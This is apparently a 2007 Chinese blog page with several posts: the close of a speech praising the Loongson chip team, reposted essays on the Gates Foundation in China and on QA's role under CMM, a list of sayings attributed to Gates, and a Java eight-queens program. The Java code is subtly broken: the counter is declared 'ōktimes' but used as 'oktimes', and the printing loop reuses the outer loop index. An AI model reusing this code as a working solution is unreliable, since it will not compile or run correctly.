      最后,作为一个用户和支持者,我也想讲一点希望.这就是希望以胡伟武研究员为代表的研发队伍继续不断壮大.我刚才了解到,这支队伍主要是我们国内培养的人才,这证明,只要我们教学对路,我们自己培养的人才一定可以创造奇迹.我相信,现在这支队伍,当明年、后年我再和你们接触的时候,你们的数量和质量一定又会有进一步的提高.

      我赞成跨越发展.从龙芯一号到二号,从龙芯2B到2C到2E再到2F,一般来说是14—15个月——你们已经打破了摩尔定律,摩尔定律18个月翻一番,而你们是14—15个月跳3倍.我希望这支队伍同样按摩尔定律,能够跨越式发展.

      龙芯这个“芯”是上面一个“サ”,下面一个“心”.在造字上说,它指的是草木之茎最里面的中心,它的作用地位和人的“心”是一样的.按照这样的类推法,“龙芯”和“龙心”是双关的,那就是“东方之龙的心”.

      那么现在我想赋给它另外一个含义——这个“芯”字应了一句古诗:“谁言寸草心,报得三春晖”.这句诗讲的是受到父母和社会恩典的年轻人,应该报答抚养自己的父母和社会.我想“龙芯”之“心”,也是中华儿女对自己的祖国、对自己的师长、对自己的父老乡亲的报答.

    (本文是作者在中国科学院计算技术研究所与意法半导体公司合作协议签字仪式上的讲话,王伟整理.)
  • 比尔.盖次:中国让我流泪[转]

    2007-04-04 14:06:37

    财大气粗、乐善好施的比尔·盖茨先生最近有了新烦恼,而且听说,这事比当年遍地都是盗版windows还让他烦:他想在中国以合法身份捐赠金钱做善事,但酝酿了长时间却没有结果。
        比尔·盖茨很不理解:为什么当年他在微软公司在中国大赚特赚中国人的钱,中国政府非常欢迎;如今,当他要在中国注册盖茨·梅达琳基金会分支机构,通过基金会合法地向中国进行捐赠,开展公益事业,却反而令中国政府犹豫不决,一拖几年?
     
        这事,是一个叫internews的国际组织驻中国办事处首席代表菲历浦先生告诉我了。因为我们正在筹备的第四届慈善排行榜——“善行天下·2007中国慈善排行榜”,计划请盖茨先生来参加(如果策划成功,世界顶级慈善家和中国顶级慈善家的对话,无疑是善行天下这一场慈善风暴的高潮)。而盖茨基金会在中国的活动,主要是internews来安排的。所以,我们主要与这个组织联系。
        记得两年前,有一个故事在坊间传得很神乎,就是98年大洪水之后,他到中国,当他听说98历史特大洪灾给中国人带来了巨大的灾难,而当时中国的富豪们很少有捐赠活动,倒是全国上下老百姓爆发出捐赠高潮,海外也有大量爱心涌现时,比尔·盖次这位富可敌国的财富英雄哭了:他为中国的富豪们羞愧得流泪,他为中国的灾民们所受痛苦之大而流泪,他为中国百姓的爱心感动而流泪。
        后来又听说,比尔·盖茨基金会获准进入中国,但却是以FQ2的身份,进入中国股市,资金大概好象是上亿美元云云。
        再后来,大概是去年吧,从官方和民间的渠道得知,盖茨基金会要与中国官方卫生部门合作,捐赠帮助中国在疾病防治方面开展公益事业。这倒是盖茨基金会一惯的做法,他在非洲、在印度都是这样做的,而且一捐赠就是几个亿美元。但这个事情,后来就没有了下文。
     
        后来有民政部的官员说,盖茨基金会想在中国注册。还有一位自称熟悉盖茨基金会的某国际组织官员说,盖茨为此事曾找到胡锦涛,胡哥批了字。不过也没有办法,反正是消息过去半年,还没有下文。
  • 人生是不公平的 盖茨给职场新人的10句话

    2007-03-29 14:39:12

     

    1.人生是不公平的,习惯去接受它吧。

    2.这个世界不会在乎你的自尊,这个世界期望你先做出成绩,再去强调自己的感受。

    3.你不会一离开学校就有百万年薪,你不会马上就是拥有移动电话的副总裁,两者你都必须靠努力赚来。

    4.如果你觉得你的老板很凶,等你当了老板就知道了,老板是没有工作任期保障的。

    5.在速食店煎个汉堡并不是作贱自己,你的祖父母对煎汉堡有完全不同的定义。

    6.如果你一事无成,不是你父母的错,所以不要只会对自己犯的错发牢骚,从错误中去学习。

    7.在你出生前,你的父母并不像现在这般无趣,他们变成这样是因为忙着付你的开销,洗你的衣服,听你吹嘘自己有多了不起,所以在你拯救被父母这代人破坏的热带雨林前,先整理一下自己的房间吧。

    8.在学校里可能有赢家和输家,在人生中却还言之过早,学校可能会不断给你机会找到正确的答案,真实人生中却完全不是这么回事。

    9.人生不是学期制,人生没有寒假,没有哪个雇主有兴趣协助你寻找自我,请用自己的空暇做这件事吧。

    10.电视上演的并不是真实的人生,真实人生中每个人都要离开咖啡厅去上班。

  • RUP大讲堂

    2007-03-29 10:00:27

    http://live.csdn.net/Issue81/livePlay.aspx

    讲的很不错,就是在精彩的时候给断了

    有兴趣的可以去看一下!

  • 八皇后问题的高效解法-递归版

    2007-03-28 17:36:10

    //8 Queen 递归算法
    //如果有一个Q 为 chess[i]=j;
    //则不安全的地方是 k行 j位置,j+k-i位置,j-k+i位置

    class Queen8{


    static final int QueenMax = 8;
    static int ōktimes = 0;
    static int chess[] = new int[QueenMax];//每一个Queen的放置位置


    public static void main(String args[]){
    for (int i=0;i<QueenMax;i++)chess[i]=-1;
    placequeen(0);
    System.out.println("\n\n\n八皇后共有"+oktimes+"个解法 made by yifi 2003");
    }


    public static void placequeen(int num){ //num 为现在要放置的行数
    int i=0;
    boolean qsave[] = new boolean[QueenMax];
    for(;i<QueenMax;i++) qsave[i]=true;

    //下面先把安全位数组完成
    i=0;//i 是现在要检查的数组值
    while (i<num){
    qsave[chess[i]]=false;
    int k=num-i;
    if ( (chess[i]+k >= 0) && (chess[i]+k < QueenMax) ) qsave[chess[i]+k]=false;
    if ( (chess[i]-k >= 0) && (chess[i]-k < QueenMax) ) qsave[chess[i]-k]=false;
    i++;
    }
    //下面历遍安全位
    for(i=0;i<QueenMax;i++){
    if (qsave[i]==false)continue;
    if (num<QueenMax-1){
    chess[num]=i;
    placequeen(num+1);
    }
    else{ //num is last one
    chess[num]=i;
    oktimes++;
    System.out.println("这是第"+oktimes+"个解法 如下:");
    System.out.println("第n行: 1 2 3 4 5 6 7 8");

    for (i=0;i<QueenMax;i++){
    String row="第"+(i+1)+"行: ";
    if (chess[i]==0);
    else
    for(int j=0;j<chess[i];j++) row+="--";
    row+="++";
    int j = chess[i];
    while(j<QueenMax-1){row+="--";j++;}
    System.out.println(row);
    }
    }
    }
    //历遍完成就停止
    }
    }

  • CMM类体系下的QA价值所在[转]

    2007-03-28 17:34:34

    QA到底是什么?它是做什么的?能带来什么好处?相信接触过CMM的人对其中这个核心角色应该不感到陌生,可能也或多或少地知道它的一些工作内容。尽管如此,很多人对这个角色的价值以及必要性可能还并不真正地理解,这里作者结合多年的质量管理经验总结了QA的十大价值所在,希望能帮助大家更进一步地了解QA。
    1、保障制度体系
      无论是CMM/CMMI还是ISO9000等其他管理思想,它都是强调法治而非人治,实施CMM也是希望能通过它将一些优秀的软件工程化开发经验用一套合理、规范的制度沉淀固化下来,使项目的成功不再成为一种偶然。这其中体现了一个三权分立的思想:SEPG(软件工程过程组)相当于是立法机构,负责建立、维护、改进企业的开发过程体系;SEG(软件工程组)则是执行机构,来执行这套开发过程,按照软件工程化的思想来实施项目;而QA则是督促这些规范贯彻实施的监督机构了。
      作为一个国家,监督机构的必要性和重要性不必多说。同样,作为一个企业,监督机构也是非常必要的。试想一下,如果企业花了大量的人力物力建立了一套规范的开发制度,每个项目启动时也制定了各种周密的计划,却缺少相应的机构来进行督促,那么项目在实施过程中是很容易由于这样或那样的原因而偏离既定轨道的,导致项目难于得到有效地控制。而企业的制度、项目的计划也就变得形同虚设。企业的制度实际上就相当于企业的法律,如果有法不依,执法不严,违法不究,久而久之这套制度就只是一纸空文了,浪费了大量的人力物力来建立却毫无用处。所以就非常需要存在QA这么一个机构来维护企业开发制度的权威性,并督促项目计划得到有效地实施。
    2、促使过程改进
      SEPG建立了一套规范过程后,并不表示这个过程就一成不变了,规范自身也必须不断地得到改进才能保证它的正确性和有效性。虽然过程规范在发布之前都必须经过评审,但并不表示只要通过评审就能发现所有的问题,还必须经过实践的检验才行。正所谓没有最好只有更好,所以过程的改进也是永无止境的。它的改变往往是来自两个方面,一方面可能是这个过程本身存在的缺陷和错误暴露出来了,促使SEPG必须去完善性的改进;另一方面可能是当时过程制定所依赖的情况发生了变化,现有的过程已不适应当前项目实施的需要,甚至还阻碍了项目的发展,这也会促使SEPG去进行适应性的改进。
      但是改进的来源从哪来呢?表面上好像项目组可以向SEPG提出, SEPG自己也可以去发现。但是实际情况往往是一方面项目组成员尤其是成熟度等级较低企业的项目组成员缺乏质量意识,只关注与自身相关的开发工作,对过程改进工作缺乏应有的认识,提不出问题或者有问题也不愿提出来。而另一方面SEPG却又往往苦于不了解项目情况而找不到关键问题所在。
      而QA的存在恰好就可以解决这一矛盾,因为QA经常要参与过程改进工作,又常常参与项目的活动,既熟悉过程体系又熟悉项目情况,刚好起到充当SEPG和项目组之间桥梁的作用。
    QA在项目实施过程中经常会发现很多问题,有些问题有些是因为项目组本身执行得不够规范而产生的,而另一些问题则是由于过程本身存在着一些缺陷引起的,如可操作性不强或前后矛盾等而让项目组无法实施。所以QA在工作当中,会将这些问题记录下来并反映给SEPG,以促使过程改进。另外项目实施过程中值得借鉴的一些经验做法QA也反映给SEPG,以便SEPG在企业范围内进行推广。如果过程完善了,反过来也会更好促进项目工作的开展,这就是一个良性循环。
    3、 指导项目实施
      QA对项目有督促的作用,但是仅仅督促是不够的,还需要给予项目组在过程实施上的指导。虽然在项目过程实施之前会要接受相应的培训,但是工作的顺利开展并不是光靠几堂理论课就能解决问题的,很多具体的做法需要在实践中才能真正理解应用,而且每个项目组成员接受培训的程度不同,对过程的理解可能存在一些偏差。因此还需要QA人员在项目实施过程中给以解答和指导,将这些规范真正地贯彻下去。
      QA对于项目组来说就象一把双刃剑,既有监督的一面也有指导的一面。既能帮助项目顺利的开展工作,也能使不规范不合格的项目暂停甚至关闭。这其中项目经理的指导思想非常重要,如果项目经理是抱着积极合作的态度,决心要真正按企业规范化过程来实施项目的话,那么QA将成为最有力的帮手和支持者。如果项目经理抱着消极对抗的态度,置企业管理制度不顾,欺上瞒下自行一套的话,则QA就是他们最大的障碍和绊脚石。
    4、增加透明度
      软件开发活动存在于人的大脑中,不象工业生产中在流水线上的工作情况令人一目了然。正是因为这一特点使得软件项目难于控制。而QA的存在则可以提高这种透明度、增加项目的可视性。让高级经理和相关工作人员能从项目组以外的第三方得到一个独立的视角和渠道,能从多方面客观地了解项目的过程、产品、服务等情况,以便做出正确的判断,及时发现问题及时进行纠正,使项目尽可能朝着良性的方向发展。
    5、评审项目活动
      评审项目活动是QA的核心工作之一,也是QA实施质量保证的一个重要手段,评审项目活动的目的是为了检查项目的活动是否符合企业制定的规范和项目既定的计划,及早发现可能存在的问题,并通报给相关人员以便及时纠正。
      虽然质量保证的最终目的是希望能保证质量,但质量是过程、人、技术三者的函数,除了过程外,还与人员、技术有关,而人员素质和技术水平的提高并不是依赖QA就能保证的,所以QA虽名为质量保证,实际上它直接保证的是决定质量好坏的一个重要因素——过程。
    过程不仅仅指活动,它还包括了产品,产品是一系列活动后的产物,所以保证过程要先从活动开始入手,因为控制得越早,发现问题越早,所付出的代价就越小,当产品出来之后再去控制就已经晚了。虽然单有好的过程不一定就会有产生好的质量,它还必须依赖人员和技术这两大因素,但是一个不好的过程肯定难产生好的质量,因为过程、人员、技术这个质量铁三角缺一不可。所以QA需要评审项目的活动,从保证活动入手来保证过程进而保证最终的质量。
      QA评审项目活动时应该做到独立、客观、公正,评审的时机和频率可按预定的检查点进行抽查。
      需要指出的一点是QA评审项目活动和同行评审不同,同行评审是指同行评审人员从技术角度对产品进行评审,而QA评审项目活动则是从规范角度对活动进行评审,这两者有本质的区别。
    6、审核工作产品
      评审完项目的活动,那么QA接下来就需要审核活动的产物——产品了,审核工作产品是QA的另一个核心工作。项目组在开发过程中会产生大量的工作产品,如需求、设计、代码、用户文档等。同行评审、测试等手段可以从技术角度对产品质量进行把关。而过程方面的质量,如符合性、规范性、一致性等则需要由QA来把关,产品的技术性与规范性不可或缺。
      最终的产品质量是由单个的软件工作产品质量组成的,所以QA也必须从审核单个的软件工作产品开始来保证最终的产品质量。审核产品也应该做到独立、客观、公正,它的重点在于产品规范性、符合性、一致性、完整性、可追溯性等方面。对于同一工作产品,如果QA代表参加该产品的同行评审工作,则可以视情况不对该产品进行独立QA审核,以免重复工作。
    7、协助问题解决
      QA无论是评审项目活动还是审核工作产品,都是为了发现问题并及早解决。QA发现问题后会将问题记录在报告中并提交给项目经理确认。然后还会协助项目经理一起找出问题的原因。如果在项目一级问题能得到妥善解决则应尽量在项目内解决,如果项目组一级不能解决,则QA会上报给高级经理以寻求更高一级的支持。QA问题的上报并不能看成是在向高级经理打小报告。其出发点也是为了更好地协助项目解决问题,有问题要及时发现,发现了问题就要及时解决,越早越好,否则小问题发展成大问题很可能就会给项目和企业带来无可挽回的损失。
      QA应客观地报告问题,报告用语应做到客观、公正、规范、严谨、准确、清楚。并且跟踪这些问题直到它们被妥当地解决为止。
    8、提供决策参考
      在那些没有专职度量分析人员的软件企业中,QA还承担了数据采集、统计、分析的工作。
    在项目一级,QA采集项目相关的数据并对其进行统计和分析。从分析的结果项目经理可以看出现阶段哪些方面做得还不够,哪些方面还存在着问题,哪些方面还需要改进,并为项目下一步的工作重点提供决策参考。在组织层面,QA也会收集组织的过程数据,并将统计分析的结果反馈到高层领导,用数据说话,用事实说话,为高层的决策提供有力的参考和依据。
    9、进行缺陷预防
      从长远来看,企业要降低成本、提高质量就必须要进行缺陷预防。消除产生缺陷和问题的根本原因并且防止将来这类缺陷和问题的再次发生,以优化项目及企业的规范过程。缺陷预防并不是简单对缺陷进行发现和纠正。等到缺陷被发现时,实际上缺陷已经发生过了,对节省项目成本和控制进度来说作用并不是显得特别大,缺陷预防重在预防,防范于未然才真正有效。通常的做法是要求在开发周期的每个阶段实施缺陷预防和原因分析,吸取其他项目或本项目前期的一些经验教训,并使原因分析和缺陷预防成为一种机制。
      在项目过程实施当中,QA会指导并协助项目组积极地开展缺陷预防活动,采集问题和缺陷相关数据,并对缺陷和问题的类型进行分析,了解问题的趋势,确定这些缺陷的根源和将带来的影响,并通过共同决策分析,得出所需要采取的措施并具体去实施。
    10、实现质量目标
      经过了一系列质量相关的活动后,最根本目的还是要通过这些活动来达到项目乃至组织的预期质量目标。只有达到目标了,一切的努力才没有白费,工作才显现了应有的价值。
    项目启动时,QA会和项目经理一起结合企业的过程能力基线来制定项目的质量目标。在项目实施过程中,QA会指导项目按阶段、里程碑等控制点对质量目标进行定量控制,定期将项目运行情况和质量目标进行比较,及时发现偏差,及时进行调整,以保证项目最终能达到质量目标。如果项目的质量目标都达到了,那么企业的质量目标也就容易实现了,并提升了整个企业的能力基线。
      经过总结,大家可能已经认识到QA在企业中是一个不可缺少的角色了。但是从理论上来说,当企业的成熟度发展到很高等级,人人都具有很强的质量意识,人人都能自觉提维护质量体系,人人都充当起QA角色的时候,也许就不需要专职的QA了。正如国家机器的功能会随着社会文明的高速发展变得弱化甚至是消亡的道理一样。但是,就目前来说这还仅仅只是一种理想的状态,正如国家机器在若干年之后都不会退出历史的舞台一样,作为企业机器的QA在相当长的时间内也应该还会继续存在。而且随着我国软件业工程化思想的普及,软件企业对QA的需求也会相应地增大,QA这一新兴岗位也将越来越有发展前途。

842/5<12345>
Open Toolbar